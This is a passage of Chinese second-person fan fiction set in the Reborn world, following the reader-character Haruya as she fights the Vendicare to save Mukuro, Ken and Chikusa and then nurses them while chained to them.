一道微弱又坚决的声音在空旷寂静的黑曜乐园缓缓响起, 你眼睛一亮, 是犬的声音! 城岛犬和柿本千种率先从昏迷中醒了过来,他们刚抬起头就看到阴险的黑手党握住了你的枪。伤的太重, 城岛犬和柿本千种拼尽全力才能往前爬上一点, 手指颤抖而又坚定地抓住你的脚踝,城岛犬和柿本千种企图以这种方式给你安全感。 “春也…是我们的!” “犬!千种!”你当即想要过去, 但沢田纲吉还抓着你的手不放,你恼怒地甩了甩,没甩开,你转而恶狠狠地盯着他,“放开我, 沢!田!同!学!” 沢田…同学…… 无措之余,沢田纲吉下意识抓紧了你的手, 可在瞥见你眼底的愤怒后, 沢田纲吉立马受惊般松开你。 ……你们之间什么时候这么生疏了?打死里包恩沢田纲吉都不会想到,春也竟然会有称呼他为沢田同学的一天。 看到你焦急又欣喜地奔向城岛犬和柿本千种,沢田纲吉脑子里下意识浮现的是你当初挡在他面前保护他的模样。 而现在,角色调反,他成了你需要对抗的敌人。 你急急忙忙蹲下身搀扶起犬和千种,两个人的重量压在你身上,你咬咬牙,努力站直身体, 你硬生生扶起了犬和千种。 “犬,千种,你们感觉怎么样?还好吗?” 六道骸还昏迷着,凭借你一个人的力量,你暂时无法一次性把他们全部送往医院。 城岛犬正要笑着安慰你,扬起的嘴角就扯到了伤口,他压抑着快要溢出口的痛呼,城岛犬满不在乎地说道:“这点小伤也想把本大爷打倒,不要笑掉大牙了!” 柿本千种扫了城岛犬一眼,一手搭在你的肩膀,一手按住你的手腕,勉强靠自己站立,柿本千种语气淡淡,“不用担心,我们无大碍。” 说完这句话,他转而看向站在原地没有动静的沢田纲吉和里包恩。以他们现在的身体,已经抵达不了第二波攻击了。但是,不能露怯。 沢田纲吉静静看着你们像受伤的小动物互相舔舐着身上的伤口,他莫名感觉自己就是那个干了坏事无法融入你们的外人吗,手指无意识蜷缩又伸直,没忍住,沢田纲吉上前一步,“春也为什么要站在他们那边?” 如果春也讨厌黑手党是讨厌他们的作风,可六道骸他们下手也不曾心软过。 “而且,就在刚刚,六道骸还控制了他们,亲口说他对他们只是利用关系。” 城岛犬:“住嘴!不准你这样说骸大人!” 沢田纲吉完全不能理解,“为什么……六道骸都这样对待你们了,为什么还要为他说话?” 城岛犬完全没有压抑自己的脾气,“你根本什么都不了解!!” 骸大人是亲手带他们冲破牢笼的光,是骸大人给了他们新生和活下去的可能。 “这种程度的痛苦…和那个时候相比根本就不算什么!” 你和柿本千种、六道骸都不是喜欢揭开伤疤的人,但城岛犬不一样,他总是有一种一往无前的勇气,像五感敏锐的野兽,直白又莽撞。 城岛犬从不会粉饰糟糕的过去,那些经历成了构建他人格的一部分,尽管他每时每刻都在厌恶。 “我们来自艾斯托拉涅欧家族……” 一回忆起过去,城岛犬的脸色不可避免变得难看,被自己最信赖的家族搞成实验体,那是他人生中最灰暗的时刻。 小小的孩子没有反抗的能力,城岛犬和柿本千种只能互相依靠,仇恨的种子每时每刻都在心底生根发芽,他们无望地在漫长的黑夜里等待结束。 直到那一天,你破开大门肆无忌惮闯了进来,耀眼的白光直直从门后涌出,眼球受到刺激溢出生理性泪水,模糊的视线里,城岛犬和柿本千种看到了那些家伙死寂的尸体。 那是第一次,城岛犬和柿本千种的眼睛有了亮光,而后,没有等待多久,骸大人便以一己之力毁掉了那个罪恶的家族。 城岛犬说了他和千种、骸大人的事情,至于你,他只简单提了一嘴。说实话,城岛犬对你的实验内容称不上了解,他只隐隐猜到一点。逃出来后,再怎么神经大条,城岛犬也没有直白地戳你伤口。 在城岛犬的口中,沢田纲吉听到了一个全新的故事,他从未接触过这么残忍的事情,长这么大,沢田纲吉面临的唯一苦恼也不过是考试不及格该怎么和妈妈交代,他从来不知道相同的时空里,有另一群和他一样大的孩子被迫接受惨绝人寰的实验。 对比起来,他受的那些挫折似乎又不算什么了。沢田纲吉呐呐张嘴,他想说点什么但又都咽了回去,语言在这个时候显得格外苍白无力。 “对不起。” “你没必要这样。”你看不惯沢田纲吉一副什么都是他的错的表情,避开他心疼难过的目光,你冷漠开口,“那些事情并不是你造成的,我们遭遇的经历也和你无关,你没必要产生负担。” “……痛苦无法被比较。” 所以,沢田纲吉也没必要认为自己经历的过去轻松无事。如果连痛苦都需要比较,那么人也就丧失了流泪悲伤的资格。 “弱肉强食,适者生存。” 杀人就要有被杀的觉悟,你一直都很清楚,你只是没想到沢田纲吉小小的身体能储存这么强大的能量。是伪装还是潜能已经不重要了,你无比清晰地认知到,你们输了。 “如果你不打算赶尽杀绝……” 顿了下,虽然你不觉得六道骸会放弃,但打不过放狠话,万一沢田纲吉怒火上头真的斩草除根了呢。留得青山在,不怕没柴烧。没了沢田纲吉的身体,你们也可以通过自己的努力消灭黑手党。 “我们会离开这里。” 已经没必要再留下了。 沢田纲吉瞳孔一震。 ——不,不可以,不可以离开! 只可惜事情的发展并没有如你所愿,奇怪的人影缓慢逆着光走来,你望过去,三条锁链齐齐甩出,然后直冲犬、千种和骸骸。 漆黑的锁链泛着幽冷的光,牢牢套住三个人的左手腕,瞬间,尚且还能站直的城岛犬和柿本千种被沉重无法反抗的力道带的直接砸到地面,城岛犬试图挣脱,却无论如何也无法撼动锁链的桎梏。 眼看犬、千种和骸骸要被带离,你下意识惊慌抓住他们的手。 瞥见这一幕,里包恩压了压帽檐,“复仇者。” 他简单和不明所以的沢田纲吉解释了一句:“他们是专门制裁法律无法裁决的人。” “最好不要阻止哦,和他们为敌会很麻烦。”* 沢田纲吉担忧地望着你,“那样的话,春也岂不是……” 你咬牙拽住那根锁链,该死的,为什么偏偏你要是这种体质,为什么你的点数全都加在了美貌上,如果…如果…… 你快速捡起六道骸的三叉戟,然后对准那三个从头到脚都被黑色大衣包裹起来的人。白色绷带完完全全缠住了他们的脸,没有留出一丝缝隙,为首的复仇者戴着白手套,他牢牢抓着三根厚实无法让人挣脱的锁链,强大的气息像呼吸一样随意包裹着你 ,你在心里疯狂给自己打气。 不管怎样,你绝对不想再让他们带走骸骸、犬和千种! 第103章 「复仇者」的动作顿住, 他们缓缓低头,居高临下注视着你的自不量力。 “等等——你们要把他们带到哪里去!!” 「复仇者」没有理会你的质问,毫无波澜的视线隔着白色绷带冷漠瞥了你一眼, 看清你的模样, 「复仇者」微妙顿住脚步, 正准备离开时, 锁链处传来不属于三个人的重量。微微抬头,「复仇者」看到你一脸坚决地抓住了他们的锁链。 「复仇者」:“无关人士请不要进行干涉。” 沉闷的声音从绷带底下传来, 「复仇者」莫名看了你一眼, 然后陷入寂静。 ……夜之炎,在短暂的舒缓过后, 似乎更加灼痛了。 城岛犬还在努力挣扎,他的手狠狠扯拽着锁链,但锁链依旧纹丝不动。柿本千种的状态也好不了多少,他微喘着气,冰凉的锁链泛着寒气, 触及到手腕,柿本千种险些以为自己坠入了刺骨的冰窖。但你掌心微弱的温度又舒缓了这股沉重又刺骨的疼痛。 勉强掀起眼皮看你, 柿本千种隐隐感知到这三个人强大到不可思议, 哪怕是骸大人,以他目前的实力也完全无法战胜这群人。柿本千种抿紧唇,过于用力,苍白的唇勉强有了丝血色,担忧你会被牵连,柿本千种忍着腹腔的疼痛出声。 “春也…不要管我们……” 眼里含着泪,你强忍着没有掉下来。哪怕到了这种时候,柿本千种脸上依旧没有出现特别的情绪, 灰蓝的眼珠一动不动盯着你,柿本千种知道,过了今天,他们也许会被严厉关押起来,下一次再想越狱,可就没那么简单了。 你看到柿本千种极轻极浅地朝你笑了下,“春也不要担心我们,倒是春也自己要好好照顾自己。” 为什么这种时候还能笑得出来,你哽咽着,又气又恨,“凭什么要抓你们?!!如果「复仇者」是维系黑手党秩序的存在,那么为什么当初艾斯托拉涅欧没有任何一个人站出来审判他们!!” “这不公平。”你快要喘不过气,冷到发寒的锁链仿佛浸蚀着你的灵魂,你感觉自己的牙齿都在颤抖,你压抑地重复着,“这不公平。” 沢田纲吉不知所措地站在原地,他想要上前拦住你,但看到你此刻的模样,他莫名不敢上前。里包恩瞥了眼「复仇者」,虽然疑惑他们居然真的没有立刻动手,但他也没有出声打断你。 「复仇者」感知着体内夜之炎的异动,一时之间也没有动静。 「复仇者」:“我们只负责裁决。” 本身,「复仇者」的存在只是为了向川平复仇,至于裁决,那不过是他们顺手做的事。而六道骸、城岛犬和柿本千种明目张胆的行动引发了黑手党集体控诉,第一次关押进监狱后,六道骸竟然还不安分,直接帮助城岛犬和柿本千种从复仇者监狱越狱,随后没多久,六道骸本人也出逃了。 “什么狗屁裁决!你们就是包庇!包庇那群黑手党!!” 你不知道什么「复仇者」,也不知道他们的过往与目的,你也根本不想知道无关人员的事情,你强迫自己冷静下来。 “我不相信你们不知道那些黑手党背地里都干了什么腌臢事!杀人放火、毒品走私、武器贩卖……这还是明面上没有掩饰过的。” “黑手党 ,就是这样的存在。” 旁听的沢田纲吉眼神暗淡下来,里包恩面无表情盯着你,漆黑的眼珠倒映出你极端冷静的模样,瞥了眼沢田纲吉,里包恩默默在心里刷新计划。 城岛犬不甘心地放弃挣扎,他忽然抓住你的手,长久抓着锁链,你的手都变得冰凉无比,城岛犬用有限的体温暖着你的手,他龇牙咧嘴地露出一个不算好看的笑容。 “那群家伙才不会管这些,春也不要理他们。” 他抬手努力揩掉你眼尾要掉不掉的泪珠,滚烫的泪珠瞬间隐没在他指腹,动作微顿,城岛犬一如既往的肆意嚣张,“放心,就像之前一样,我们会出来的。” 「复仇者」依旧保持着沉默,手指微动,锁链轻飘飘从你手上脱离,瞬间,六道骸、城岛犬、柿本千种三个人毫不温柔地朝「复仇者」飞去。 ——你不知道的是,「复仇者」的裁决者身份本身就是各大家族推选出来的执法者。自然,你的那些苍白的话语撼动不了任何。 同样,弱小的你也无法撼动强大的「复仇者」。 出于某种微妙的情绪,里包恩缓缓开口,“「复仇者」是黑手党家族推选出的执法者。” 突兀又苍白的,你好像什么都明白了。 ——这是一个以黑手党旋律为主的世界,而你,只是其中受到波及的普通人。 不,也许你还是有办法的。 强烈的自我意志下,加上六道骸陷入昏迷,你自主挣脱了六道骸一直覆盖在你身上的幻术。你跌跌撞撞地站起身,随意撩起遮挡住脸的发丝,你抬起头,眼里是明晃晃的恶意。 「复仇者」离开的步伐顿住了。 见状,你轻声诅咒:“扭曲吧。” 第104章 你一直认为, ■■的赐福垃圾又不幸,所以你从未接纳过祝福。可哪怕是不被你喜爱的祝福,威力也强大到混乱。 那如果, 你选择完全接纳呢? 扭曲魔性的容貌仿佛某种不容存在于此世的规则, 如果说排斥下的祝福, 意志坚定的人还能顽强抵抗或者不受侵扰, 那么毫无顾忌展露的美貌已经无法令人保持理智了。 不可视、不可想、不可听,一瞬间, 你甚至隐隐感觉时空都扭曲。 里包恩最先发现不对, 所有人里蠢纲离你最近,里包恩反应迅速地把沢田纲吉踹离, 但还是晚了一步,大家都看到了你。 「复仇者」无法再保持理智,夜之炎的灼痛感反复折磨着他们,甚至有愈演愈烈的趋势。手里的锁链收紧又松开,「复仇者」立马察觉到不妙想要离开, 但已经来不及了。 你努力站稳脚步,缓缓走上前, 你拽起犬、千种和骸骸的锁链, 仰起脑袋,你恶意满满地笑道:“为什么不看着我?” 占有和杀意不断在心脏处膨胀,残存的理智摇摇欲坠,在你诡谲般的灰蓝色眼珠里,「复仇者」动了。 …… 那天的场景,沢田纲吉的大脑只残留着模糊的印象,古怪增多的黑手党开始莫名其妙的混战,黏稠的血液一层又一层牢牢粘在地面, 就连清爽的风里都带着挥之不散的血腥味。 所有的时间里,沢田纲吉唯独记得你肆意站在人群中央,笑容恶劣又轻挑,然后,你不经意回头,唇角带着艳丽的鲜血,你漫不经心地咬住了他的心脏。 而对于沢田纲吉的恋爱脑,里·所有记忆都保留·包·警惕心拉满·恩毫不留情挥出了制裁修正铁锤。 * 再度醒来时,六道骸本以为自己会看到熟悉的牢笼,但出乎意料,他看到了家。 刚一动弹,六道骸就发现不对,手腕处传来的重量压得他险些抬不起手,不动声色观察四周,六道骸惊讶看到了犬和千种的身影,不过古怪的是他没有看到锁链的尽头。 六道骸拿出三叉戟戳了戳两个人,细微的动静惹得城岛犬和柿本千种清醒过来。和六道骸的反应一样,城岛犬和柿本千种先是警惕,发现自己待在熟悉的屋子里后,两个人愣神一秒。 柿本千种揉了揉额头,视线转悠了一圈,他忽然出声:“春也呢?!” 印象中的最后一秒,是「复仇者」松开锁链,然后他和犬重重砸在了地上陷入昏迷,彻底失去意识的前一秒,柿本千种隐约听到刀枪混战的声音。 该不会「复仇者」那群人对你动手了……想到这个可能,柿本千种的脸色立马变得难看起来。恰好这时,你推开了房门。 不约而同,六道骸、城岛犬和柿本千种看向了你。 彻底接纳■■的赐福并不是一件容易的事,在你影响他人的同时,自己也会无法抑制地沦为深渊。可你经历过两个世界的极端,极力克制下,你终于还是把自己的理智稳维持在及格线上。 只可惜接纳是有代价的,你竭力克制住想要咳嗽的欲望,以防自己会当着他们的面吐出血。毕竟是媲美■■的力量,对于现在的结果,你已经很满意了。更何况,令你一直困扰的美貌污染经此一事后也可以由你自行控制了。 你端着白粥放在骸骸、犬和千种面前,抬手间,锁链的存在不经意映入了六道骸、城岛犬和柿本千种的眼里。 三条锁链的尽头圈在了你的手腕,极致的白和极致的黑形成鲜明的对比,六道骸终于知道锁链的尽头在哪里了。 “在看这个吗?” 注意到六道骸的视线,你忽然笑了起来,晃了晃锁链,清脆的碰撞声瞬间溢满整个房间,空缺的心脏传来微妙的愉悦感,你满足地眯起眼睛。 “我把你们都救下了呢,这条锁链无论如何我也没能取下来,我很担心,就先把它们寄放在了我身上。” 城岛犬全然不在意这个,肚子饿得咕咕叫,他第一个端起白粥咕咚咕咚开始往肚子里灌。白粥的温度适宜,完全不会烫嘴。柿本千种摆弄了下锁链,发现确实不容易破坏,也不知道「复仇者」是用什么材料制成的。只有六道骸似笑非笑地望着你。 你完全没有在意,只一味地沉浸在失而复得的喜悦里。 “太好了。”你步伐轻缓地朝他们走去,拉起锁链,城岛犬、柿本千种和六道骸同时顺着锁链的力道不受控制地抬起手。 你微妙地感到一阵奇异的满足。 “太好了,再也没有什么存在能把我们分开了。” 第105章 六道骸昏迷的最彻底, 他完全不知道后续发生了什么,发现你现在的状态微妙有些不对劲,犹豫了下, 六道骸没有选择立刻询问。 你慢吞吞坐在地上, 满足地看着城岛犬大口大口喝着粥, 你扭头看向还没动的六道骸和柿本千种, “怎么不喝?这是我亲手做的,你们受伤那么重, 暂时只能吃些清淡的。” 六道骸不动声色观察着你的表情, 半敛下眸中神色,六道骸听话地端起白粥, “kufufu…你倒是贴心。” 春也救下他们,到底是付出了什么代价呢…… 柿本千种低头瞥了眼自己手腕上的锁链,他也默默端起白粥认真喝了起来。第六感告诉他,春也现在的情绪很不对劲,柿本千种努力开始回忆当时的场景。 「复仇者」不可能会轻易放过他们, 但当时他已经昏迷过去,任凭柿本千种想破脑袋也不知道后续到底发生了什么, 唯一知道真相的只有…… 安静的视线落到你身上, 柿本千种认真观察着你,确认你身上干干净净没有伤口后,他稍微松了口气。总之,你没有受伤真是太好了。 城岛犬完全没发现什么不对,填饱肚子后,听到你的话,他撇了撇嘴,“这点小伤根本就没关系啦。” 过去很多次, 为了不让你担心,城岛犬总是会这么说,所以他完全没想过你会突然爆发。 “小伤?”宛若应激般,你忽然笑了,“犬管这些叫小伤吗?你知不知道,你差点就丧失了生命体征。” 犬、千种和骸骸的身份特殊,你完全不敢把他们直接送进并盛医院,那是云雀恭弥的地盘。尽管你知道云雀恭弥不是小人,但神经绷紧的你根本不愿冒任何风险。而其他地方的医院又太过遥远,犬、千种和骸的伤势完全等不及。索性你对包扎很有心得,于是,大家身上的伤口全都只经由了你一个人的手。 千种和犬的伤势不分上下,骸伤得也不轻。 你从未没见他们受过这么严重的伤,漆黑的瞳孔里倒映着他们血流不停的模样,你丝毫不敢有任何的手抖。身体机制强迫他们休眠,你拼命和时间赛跑。 鲜红的血渗满了一张又一张的床单,溢出的血液缓缓流落地面,等你彻底包扎完,连瓷砖的缝隙里都变成了刺眼的红。 “到处都是血,满眼都是红色……一个人的身体到底能有多少血,仿佛怎么流都流不尽……” “我不敢带你们去医院,我只信任我自己,你们所有的伤口都是我一个人消毒包扎完的。家里配备的医疗用品几乎都用完了,期间犬和千种呼吸微弱到差点要没……” 你的声音开始颤抖,你又回忆起自己手指一直浸泡在血液里的画面,温热的触感刺得你心脏生疼。你努力感知着大家时有时无的虚弱心跳,你的精神和肉·体都在承受双倍的折磨。 好害怕、好害怕大家会这样死掉……明明说好了要一直一直生活下去的,怎么可以先有人失约!你绝不允许!! “包扎完后,我开始清洗床单,一盆一盆的血水好像根本就洗不干净。哪里都是血,到处都是血……然后,你们没好一会儿,犬就在半夜发起了高烧,喂水怎么也喝不进去,嘴唇干燥的裂开…额头、身上满满的汗水,好不容易涂好的药物因为汗水又没了效果……” “接着是千种、骸……” 你根本就不知道自己是怎么度过那几天的,有好几次,你都以为他们要挺不住了,但你死死相信犬、千种和骸的生命力。 城岛犬张了张嘴,没有发出声音。意识到自己说错话,他有些无措地看向你,还是柿本千种先起身来到你身边。 走动间,锁链碰撞着,发出细微的脆响,柿本千种握住你的手,目光微动,他抬起手,冰凉的指尖触碰到你的眼睛,他动作轻缓地抹去你眼角无意识渗出来的泪水,柿本千种小心翼翼地捧起你的脸,“对不起,让你担心了。” “别怕。”柿本千种让心脏贴近你的耳朵,温凉的手指插入你的发丝,他轻轻抚摸着你的脑袋,柿本千种缓缓垂下眼睛,“你听,我的心脏正在因你跳动。” 咚、咚、咚。 一下一下,迟缓温和的心跳咬住你过度惊慌的心脏,你有些晃神。 柿本千种的声音从头顶传来,伴着锁链的轻响,直直灌入你的耳膜,“不要怕,春也,我们在这里。” 六道骸慢慢放下碗筷,他静静盯着手腕上的锁链,忽然,六道骸缓缓出声:“不会再有第二次了。” 过去,六道骸自傲他的实力,直到今天,他忽然发现,自己还是不够强大。如果他实力足够,那么这一切都不会发生。 城岛犬小心翼翼捏住你的手指,“在伤好全之前,我们都会一直吃清淡的食物啦。” 不同的声音在你耳边响起,你安静贴在柿本千种的胸前,闭眼缓缓感受着他鲜活的心跳,你正打算说话,忽然,尖锐的痛感从心脏开始蔓延,指尖控制不住地颤抖,你下意识掩饰自己的异常,努力维持着正常的表情起身,你端起空碗,压抑着颤抖的声线,你语速很慢地开口:“我再去给你们盛一碗。” 柿本千种看着你离开的背影,和骸大人对视一眼,柿本千种的心里忽然有股不妙的预感。 第106章 你已经很久没有感受过疼痛了, 手撑着洗漱台,你抬眼看向镜子,灰蓝色的眼睛里充斥着冷漠。你面无表情擦去嘴角溢出的一丝血液, 心脏处传来密密麻麻宛若被针扎过的刺痛, 但很快, 这股刺痛又像幻觉一样很快消失。 一开始你还以为是痛觉屏蔽失灵了, 拿小刀试验过后,确认自己依旧无痛感, 你推测这是彻底接纳祝福的后遗症。 不过, 今天的症状和前两天相比明显轻了不少。手指摸上心脏的位置,感受着指尖急促的跳动感, 你半敛下眼睛,莫名有股快要结束的预感。 手臂抬动间,三条锁链互相碰撞,清脆的响声宛若动听的乐曲,叮叮当当跳跃在空气里。「复仇者」的锁链很特殊, 锁链另一侧的人稍一动弹,你就能感知到他们的动静。静静等待疼痛平复后, 你抬脚重新回到自己专门腾出来的大房间。 打开门, 刺眼的白光纷纷倾入你的眼球,有人拉开了窗帘。 这些天你一直呆在封闭的房间,乍一接触到强烈的自然光,你的眼球因为光线的刺激渗出点点水光。半捂住眼睛,你靠在门框安静等待眼球适应,再次睁眼,你清晰看到细小的灰尘雀跃着在明亮的光柱下旋转起舞。 透过朦胧的光柱,你不经意望进了六道骸漫不经心的异色眼珠里。 六道骸姿态随意地坐在落地窗前, 靛青色发丝凌乱垂落在他锁骨,极致的蓝衬得他肤色愈发苍白透明。六道骸懒洋洋屈起左膝,戴着锁链的手臂自然搭在膝盖处,动作间,锁链自然垂落,然后,他轻佻又散漫地捏起锁链的一节,上挑的眉眼安静倒影着你清瘦的身躯,六道骸眼底笑意虚浮。 ——这些天,春也没有好好照顾自己呢。 你的变化不明显,起码目前柿本千种和城岛犬暂时没有发现你体型上的变化。 喝下白粥后,柿本千种困倦地仰躺在吊椅昏昏欲睡。如果不是他坠着一条腿慢悠悠晃动着吊椅,你险些没能看到淹没在玩偶里的柿本千种。 ……这两个人似乎并不是很在意手腕上的锁链,起码你还没见到他们努力挣脱锁链的行为,除了城岛犬。 吃饱喝足后,城岛犬还不甘心地左右摆弄着锁链,他戴着狮子齿模卡匣,伴着喉间低低的威胁低吼,尖锐森白的犬牙狠狠咬住锁链,嘎吱嘎吱的响声听得人牙齿一酸,你刻意放轻脚步靠近,发现锁链上连个牙印子都没留下。 忽然,你冷不丁开口:“犬在做什么?” 待在家里,城岛犬完全没有警戒心,他正全神贯注盯着眼前怎么搞都搞不坏的锁链,谁知下一秒,耳边突兀响起一道不属于他的声音,城岛犬一个激灵,眼睛瞬间受惊般瞪圆,圆润的毛绒兽耳和尾巴尖的黑色鬆毛瞬间像蒲公英一样炸开。 城岛犬:! 虽然早就嗅到了你的味道,但城岛犬完全没想到自己还会被你吓到。六道骸和柿本千种安静看你戏弄犬,两个人竟没一个好心提醒可怜的犬。 城岛犬重新恢复冷静,抬手擦拭干净因为撕咬锁链而不小心流出来的口水,城岛犬正襟危坐,假装刚刚什么都没发生。 “春也什么时候来的?” 你笑眯眯戳破了城岛犬的伪装,“就在犬试图用牙齿攻击锁链的时候。” 城岛犬:!这不是什么都看到了吗?!! 泄气般耷拉下尾巴,城岛犬直接一屁股坐在地板,缠绕着绷带的双腿大大岔开,戴着锁链的手随意撑在地面,厚重的锁链和地板碰撞后发出难以忽略的闷响,城岛犬后仰脑袋抱怨道:“这玩意根本解不开啊。” 你莫名看了他手上的锁链一眼,没有说话。城岛犬没有注意到你的表情,他歪过脑袋,目光投向不远处安安静静的六道骸,城岛犬拉长尾音继续小声抱怨,“骸大人快想想办法啦——” 六道骸漫不经心眺望着远方的景色,闻言,他笑容散漫道:“kufufu…我现在也还没能找到正确的打开方法呢。” 柿本千种困倦地打了个哈欠,他平静看了骸大人一眼,没有说什么。视线重新落在你身上,像是想起什么,柿本千种慢吞吞问道:“春也,我们昏迷了多久?” “三天。” 柿本千种恍然,难怪他发现伤口没一开始那么痛了。等等,这么说的话…… 低头瞅了眼自己干干净净的衣服,柿本千种微妙顿住动作,还没等他组织好语言,竖起耳朵的城岛犬陡然明白了一切,尾巴炸毛竖起,城岛犬大惊失色:“春也脱了我们的衣服!!” 指尖勾起城岛犬的尾巴,你揉了揉他的尾巴尖,见他反应这么大,你眨了下眼,“难道犬希望自己这几天都是臭烘烘地睡在床上吗?而且擦拭干净也更利于消毒包扎。” 城岛犬难得有些结巴,“但是,但是……” 前半生生活在实验室,后半生生活在监狱,城岛犬虽然还没产生明确的性别意识,但再怎么说,他也是知道一点生理性常识的。 ——他的身体可不能随便给人看! ……虽然春也不是别人,但是春也可是春也啊,城岛犬的大脑一片混乱,他努力组织措辞,但在瞥见你带笑的眼睛后,城岛犬忽然就哑了声音。 如果是春也的话…… “犬是不喜欢吗?”可能这就是青春期男生神秘莫测的心思,你揉揉他的耳朵以示安慰,“放心,我只是拿干净的湿毛巾擦拭污血,没有给你们做完全的全身清洁。” 敏感的部位掌握在你手里,城岛犬脸热了起来,他别过脸小声道:“治疗而已,本大爷当然可以接受。” 如果是春也的话,城岛犬忽然发现自己也没有那么排斥,他只是稍微有点不习惯。 城岛犬的声音太小,你没能听清他的小声嘀咕,以为他还别扭,你拽过他的锁链,城岛犬瞬间歪倒在你怀里。温凉的指尖轻轻划过他脸上的绷带,你捧起犬的脸,额头抵着额头,你轻笑道:“怕什么,我们可是家人啊。” 城岛犬整个人开始冒烟,他眼珠乱转就是不敢直视你,心脏像生病一样扑通扑通快得就要跳出胸腔,脑袋也晕乎乎的,过近的距离下他甚至都能嗅到你身上浅淡的香气,混杂着伤药的特殊味道,城岛犬莫名有点上头。不断甩动的尾巴第一时间出卖了主人无法克制的心情,城岛犬竭力忍耐着想要撕咬标记你的冲动。 城岛犬:可恶,没听说狮子齿模卡匣也有保质期的啊!! 六道骸表情微妙,透过玻璃盯着你清晰的倒影,六道骸转过身看你甜言蜜语地诱哄他的人,他神色莫名。 默默低头看了眼自己身上包扎的完美绷带,六道骸在心底古怪笑着,哼哼,他才不会像犬那个笨蛋一样。六道骸没有发现自己发丝间泛红的耳尖,他单手撑着下巴似笑非笑盯着你嘴角甜蜜的弧度。 提到清洗,柿本千种克制着心底某种微妙的情绪,他想起了你刚刚异样的表现。柿本千种抬手轻轻扯了扯锁链,见你的注意力又重新放回到他身上,柿本千种缓缓出声:“春也刚刚是有哪里不舒服吗?” 苍白的手指轻轻搭在锁链,感受着上面细微的震颤,柿本千种起身顺着锁链的位置来到你身边。 “春也救了我们,一定付出了很大的代价吧。” 听到柿本千种的话,城岛犬也不思考「动物齿模卡匣究竟会不会过期」这个问题了,他立马扭头盯着你。 耳朵警觉地抖了抖,野兽优越的动态视力全方面观察着你,一时没能发现异常,城岛犬忍不住拧眉。他刚想问你有哪里不舒服,转瞬城岛犬又想到你没有痛觉,绝大多数身体不适的信号你都难以接收到…… 想到这里,城岛犬动作干脆地拆下狮子齿模卡匣,他换成了嗅觉更加灵敏的鲨鱼。嘴巴张合间,一排排尖锐森白的尖牙若隐若现,城岛犬凑近你使劲嗅嗅嗅。认真工作状态下,城岛犬完全不受任何事物的干扰。 从脚到手,城岛犬完全没有遗漏任何角落,缠着绷带的双手撑在你身前,忽然,鼻尖耸动,城岛犬猛然嗅嗅嗅,瞥见你扭头试图躲避,城岛犬眼神锐利,条件反射捏住你的下巴不让你胡乱动弹,城岛犬凑到你嘴边嗅嗅嗅。 鲨鱼对血腥味异常敏感,戴了鲨鱼齿模卡匣的城岛犬也是如此。 城岛犬一脸严肃:“有残留的血腥味……” 城岛犬松开另一只撑在你身侧的手,然后柿本千种默契地坐下扶住你控制不住往后仰的背。冰凉的大拇指轻巧探入你的嘴巴,另一只手轻掐住你的下颌迫使你张开嘴巴,缠着绷带的手指压住你控制不住乱动的舌头,城岛犬弯腰仔细观察你的口腔,认认真真检查了好一会儿,城岛犬并没有发现什么伤口。 担心伤还在更深处,城岛犬打算检查你口腔深处的牙齿和舌根。他有些生疏地探入更灵活的食指,一一摸过你的每一颗牙齿和软肉,城岛犬微微皱眉。要不是绷带的存在稍微影响了点判断力,城岛犬的检查速度会更快。 知道躲不过去了,你在心底叹了口气,安静垂下眼睛,你稳稳靠在柿本千种怀里。口腔里的异物强烈彰显它的存在感,你隐隐会感到一丝反胃,口水无意识流出,你艰难想要咽下,但钳住你下颌的手阻止了你合上嘴巴。 到底是在里世界浸染过的人,城岛犬也在不知不觉学会了很多残忍的拷问技巧。当然,他不可能把这些东西用在你身上,城岛犬只是简单改善了下运用方式和力道。 直到城岛犬彻底检查完,你还有些恹恹地不想动弹。你讨厌绷带的触感,可偏偏城岛犬的绷带还是一根一根由你自己亲手缠上的。 “没有伤口痕迹。”城岛犬不能理解,“但我确实嗅到了血腥味。” 柿本千种耐心拿手帕擦拭干净你的嘴角,他安抚地揉揉你的脑袋,柿本千种很聪明,他几乎一下就想到了关键。 “是代价吗?” 六道骸不知何时也来到了你身边,他坐在你对面,笑容古怪道:“不要试图欺骗我们,春也。” “而且,春也说过不是吗,我们可是家人啊,家人之间怎么可以有隐瞒呢。” 抬手捂住眼睛,你无奈道:“真是败给你们了,本来不想让你们担心的。” 城岛犬激动:“不要小看我们啊春也!你把本大爷当成那些弱了吧唧的稻草人吗?!!” 柿本千种点头赞同:“春也隐瞒才是对我们最大的伤害。” 柿本千种的语气总是平静到不可思议,但偏偏就是这种没有波澜的沉静声音,你完全无法招架住。像深渊里的鬼魅海妖,柿本千种平缓无波的语调好似某种古老的咒语,叫人无法生出反抗的心思,只要与其一起沉溺至深渊。 “春也有什么想法要坦诚和我们说,不管是什么,我和犬、骸大人都会听春也的。” 沉默片刻,你坦白了。 “……是代价。” 第107章 在你和骸、犬、千种简单解释了「代价」后, 三个人不约而同陷入了沉默和思考。 “也可以理解成是我与生俱来的能力,只不过我之前一直排斥厌恶这份能力,直到现在, 我才正视它, 并且选择了接纳。”现在想想, 竟都有些恍如隔日。手指一圈一圈缠绕起犬的尾巴, 你只觉得自己现在前所未有的好。 “kufufufu…既然是你自己的能力,那么没有必要排斥它。”六道骸知道你隐瞒了一部分内容, 他也没有深究的打算, “春也才是能力的主人。” 就像他现在成为了轮回眼的主人一样。 六道骸:“拥有力量可是一件好事呢。” 你一脸认真地点头,果然, ■■的祝福是不一样的,哪怕只是美貌,扭曲污染过后杀伤力也会大幅度增加。只可惜你只是普通的血肉之躯,驾驭起完全满级的容貌祝福,难免会受到它本身的污染影响。 你神色莫名地盯了锁链几眼, 语气自然道:“锁链的事情就交给我吧。” 在三个人的视线下,你屈指扒拉了两下锁链, “在我找到打开锁链的方法之前, 我会一直陪着你们的。” 城岛犬没什么特别的想法,他拍拍你的肩膀,呲牙笑着,露出一口锋利的鲨鱼牙,“那就拜托你了啊,春也。” 柿本千种安静注视着你的眼睛,“嗯,春也陪着我们就没问题。” 只有六道骸似笑非笑望着你, 手指轻轻拨动了下锁链,六道骸没有说话。 大家都受着伤,你暂时搁下了离开并盛的想法,你可不想骸骸、犬和千种在半路出什么意外,还是等他们伤好了再谈论这个话题。 也不知道骸骸现在的想法是什么,你扭头看他,没想到六道骸一直没有移开视线,你恰好和他对视上了。 六道骸随意坐在地面,缠着绷带的手指虚虚拉着锁链,见你看过来,他慢悠悠拉长尾音,声线慵懒带着磁性,“kufufufu…那这段时间春也可要好好照顾我们呢。” 你顺着锁链缓缓摸上六道骸缠着绷带的手指,弯腰凑近观察它的状态,你抬头看了眼挂在墙上的时钟,“差不多该到换药的时间了,我去拿药箱。” 